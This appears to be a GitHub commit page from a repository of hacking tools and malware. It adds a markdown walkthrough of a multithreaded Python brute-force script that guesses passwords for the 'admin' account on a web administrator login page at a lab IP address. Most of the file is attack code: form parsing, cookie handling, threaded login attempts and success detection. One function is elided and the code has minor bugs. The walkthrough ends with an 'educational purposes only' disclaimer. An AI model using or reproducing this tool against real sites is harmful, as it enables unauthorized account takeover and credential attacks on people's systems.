This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
Create simple web brute-force attack tool designed to test the authentication system of a web application.md
Abdul Wahab Junaid9bcb91e7b275
diff --git a/Python Hacking Tools/simple web brute-force attack tool designed to test the authentication system of a web application.md b/Python Hacking Tools/simple web brute-force attack tool designed to test the authentication system of a web application.mdnew file mode 100644index 0000000..32ede89--- /dev/null+++ b/Python Hacking Tools/simple web brute-force attack tool designed to test the authentication system of a web application.md@@ -0,0 +1,129 @@+This Python script is an example of a simple web brute-force attack tool designed to test the authentication system of a web application. The script uses multiple threads to perform a brute-force attack by trying different passwords for a specified username.++Here's a breakdown of the code:++1. **Import Statements:**+ ```python+ import http.cookiejar+ import queue+ import threading+ import urllib.error+ import urllib.parse+ import urllib.request+ from abc import ABC+ from html.parser import HTMLParser+ ```++ - Importing necessary modules for handling HTTP requests, cookies, threading, and HTML parsing.++2. **General Settings:**+ ```python+ user_thread = 10+ username = "admin"+ wordlist_file = "cain.txt"+ resume = None+ ```++ - Configuration settings including the number of threads, the target username, the wordlist file, and an optional resume point.++3. **Target Specific Settings:**+ ```python+ target_url = "http://192.168.112.131/administrator/index.php"+ target_post = "http://192.168.112.131/administrator/index.php"++ username_field = "username"+ password_field = "passwd"++ success_check = "Administration - Control Panel"+ ```++ - Specific settings for the target web application, including URLs, form fields, and a string indicating successful login.++4. **HTML Parser Class (`BruteParser`):**+ ```python+ class BruteParser(HTMLParser, ABC):+ def __init__(self):+ HTMLParser.__init__(self)+ self.tag_results = {}++ def handle_starttag(self, tag, attrs):+ if tag == "input":+ tag_name = None+ for name, value in attrs:+ if name == "name":+ tag_name = value+ if tag_name:+ self.tag_results[tag_name] = value+ ```++ - A custom HTML parser class that inherits from `HTMLParser`. It extracts input field names and values from HTML.++5. **Bruter Class:**+ ```python+ class Bruter(object):+ def __init__(self, user, words_q):+ self.username = user+ self.password_q = words_q+ self.found = False+ print("Finished setting up for: %s" % user)++ def run_bruteforce(self):+ for i in range(user_thread):+ t = threading.Thread(target=self.web_bruter)+ t.start()++ def web_bruter(self):+ while not self.password_q.empty() and not self.found:+ brute = self.password_q.get().rstrip()+ jar = http.cookiejar.FileCookieJar("cookies")+ opener = urllib.request.build_opener(+ urllib.request.HTTPCookieProcessor(jar))++ response = opener.open(target_url)+ page = response.read()++ print("Trying: %s : %s (%d left)" % (+ self.username, brute, self.password_q.qsize()))++ parser = BruteParser()+ parser.feed(page)+ post_tags = parser.tag_results++ post_tags[username_field] = self.username+ post_tags[password_field] = brute++ login_data = urllib.parse.urlencode(post_tags)+ login_response = opener.open(target_post, login_data)+ login_result = login_response.read()++ if success_check in login_result:+ self.found = True+ print("[*] Bruteforce successful.")+ print("[*] Username: %s" % username)+ print("[*] Password: %s" % brute)+ print("[*] Waiting for other threads to exit...")+ ```++ - The `Bruter` class encapsulates the brute-force logic. It initializes with a target username, a queue of passwords, and a flag indicating if the correct password is found.+ - The `run_bruteforce` method starts multiple threads to execute the `web_bruter` method concurrently.+ - The `web_bruter` method performs the actual brute-force attack by sending HTTP requests with different passwords, parsing HTML to extract form fields, and checking for successful login.++6. **Wordlist Building Function (`build_wordlist`):**+ ```python+ def build_wordlist(wordlst_file):+ # read in the word list+ ...+ ```++ - A function that reads passwords from a wordlist file and creates a queue of passwords. It supports resuming from a specified point.++7. **Wordlist Creation and Brute-Force Initialization:**+ ```python+ words = build_wordlist(wordlist_file)+ bruter_obj = Bruter(username, words)+ bruter_obj.run_bruteforce()+ ```++ - The script initializes the wordlist queue, creates a `Bruter` object, and starts the brute-force attack.++This script is an example and is meant for educational purposes only. Unauthorized use of such scripts is illegal and unethical. Always ensure you have explicit authorization before testing or assessing the security of any system.